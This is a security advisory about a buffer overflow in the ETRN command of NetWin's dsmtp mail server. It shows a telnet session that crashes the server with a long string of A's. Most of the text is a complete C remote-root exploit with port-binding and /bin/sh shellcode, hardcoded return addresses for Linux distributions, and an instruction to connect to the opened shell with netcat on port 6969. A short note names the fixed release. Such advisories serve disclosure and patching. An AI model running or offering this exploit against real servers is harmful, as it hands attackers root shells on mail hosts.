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Vulnerability dsmtp Affected DMailWeb Description Eric Andry found following. He's been sitting on this for a while, but dsmtp (part of the dmail package by NetWin) has a buffer overflow in the ETRN command, causing the server to crash and dump core. NotNow>telnet localhost 25 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. 220 myhost.mydomain DSMTP ESMTP Server v2.8g EHLO "" 250-myhost.mydomain. Hello "" (127.0.0.1) 250-ETRN 250-DSN 250 HELP ETRN AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Connection closed by foreign host. NotNow> NotNow>cd /usr/local/dmail NotNow>ls -la core -rw------- 1 root root 1961984 Jun 1 13:42 core NotNow> A little over 260 A's would cauase the crash. Tested on V. 2.8d, e, f, and g. All are Beta Releases, never tested on "stable" versions. Here's the exploit: /* Netwin DSMTP Server v2.7q remote-root exploit noir@gsu.linux.org.tr | noir@olympos.org tested arch = x86/Linux mdk7.0 I will port this to Solaris & FreeBSD when I have time... check http://gsu.linux.org.tr/~noir/ offsets for other Linux distros. greetz: moog, si_ (happy birthday!), CronoS, still, teso crew, gsu-linux, `B, calaz, olympos secteam FOUND BY Eric Andry eric@wincom.net */ #include <stdio.h> #include <unistd.h> #include <string.h> #include <stdlib.h> #include <sys/socket.h> #include <sys/types.h> #include <netdb.h> #include <netinet/in.h> #include <sys/time.h> unsigned char shellcode[]= /* noir@olympos.org */ "\x31\xc0\x40\x40\x89\x45\xf4\x48\x89\x45\xf8\x48\x89" "\x45\xfc\xb0\x66\x31\xdb\x43\x8d\x4d\xf4\xcd\x80\x31" "\xdb\x43\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x1b\x39" "\x31\xdb\x89\x5d\xf0\x89\x45\xf4\x89\xc2\x8d\x45\xec" "\x89\x45\xf8\xc6\x45\xfc\x10\x31\xc0\xb0\x66\x31\xdb" "\xb3\x02\x8d\x4d\xf4\xcd\x80\x89\x55\xf8\x31\xc0\x40" "\x89\x45\xfc\x31\xc0\xb0\x66\x31\xdb\xb3\x04\x8d\x4d" "\xf8\xcd\x80\x89\x55\xf4\x31\xc0\x89\x45\xf8\x89\x45" "\xf8\x89\x45\xfc\xb0\x66\x31\xdb\xb3\x05\x8d\x4d\xf4" "\xcd\x80\x89\xc2\x31\xc0\xb0\x3f\x89\xd3\x31\xc9\xcd" "\x80\x31\xc0\xb0\x3f\x89\xd3\x31\xc9\xb1\x01\xcd\x80" "\x31\xc0\xb0\x3f\x89\xd3\x31\xc9\xb1\x02\xcd\x80" /* generic shellcode execve(args[0],args,0); aleph1 */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int resolv(char *hname, struct in_addr *addr); #define RET_MDK70 0xbfff97ec #define RET_REDHAT60 0xaabbccdd #define RET_SLACK70 0xddccbbaa #define NOP 0x90 #define ALIGN 1 int main(int argc, char *argv[]) { int fd, n; int i, l; unsigned char ovf[860]; char buff[200]; int offset = 0; struct sockaddr_in servaddr; if (argc < 2 ){ fprintf(stderr,"%s <host> [offset]\n",argv[0]); exit(0); } if(argv[2]) offset=atoi(argv[2]); printf("Netwin DSMTP v2.7q remote-root exploit by noir\n"); if( (fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0){ perror("socket"); exit(-1); } bzero(&servaddr, sizeof(servaddr)); servaddr.sin_family = AF_INET; servaddr.sin_port = htons(25); if(!resolv(argv[1], &servaddr.sin_addr)){ herror("gethostbyname"); exit(-1); } if(connect(fd, (struct sockaddr *) &servaddr, sizeof(servaddr)) < 0 ){ perror("connect"); exit(-1); } n = read(fd, buff, 1024); write(STDOUT_FILENO, buff, n); sleep(2); fprintf(stderr, "check for portshell 6969/tcp when done\n"); memset(ovf, NOP, sizeof(ovf)); for( i = ALIGN; i < 300; i+=4) *(long *) &ovf[i] = RET_MDK70 + offset; for( i = 650, l = 0; l < strlen(shellcode) ;i++, l++) ovf[i] = shellcode[l]; memcpy(ovf, "ETRN ", 5); strcpy(ovf+858,"\r\n\0"); write(fd, ovf, strlen(ovf)); fprintf(stderr,"done!\n$ nc %s 6969\n", argv[1]); return 1; } int resolv(char *hname, struct in_addr *addr) { struct hostent *hp; if ( (hp = gethostbyname(hname)) == NULL) return 0; memcpy((struct in_addr *)addr, (char *)hp->h_addr, sizeof(struct in_addr)); return 1; } Solution Netwinsite released a new version of Dmail - 2.7r which fixes this exploit. It is available at ftp://ftp.netwinsite.com/pub/dmail/ Currently, there are only Linux and Solaris versions available.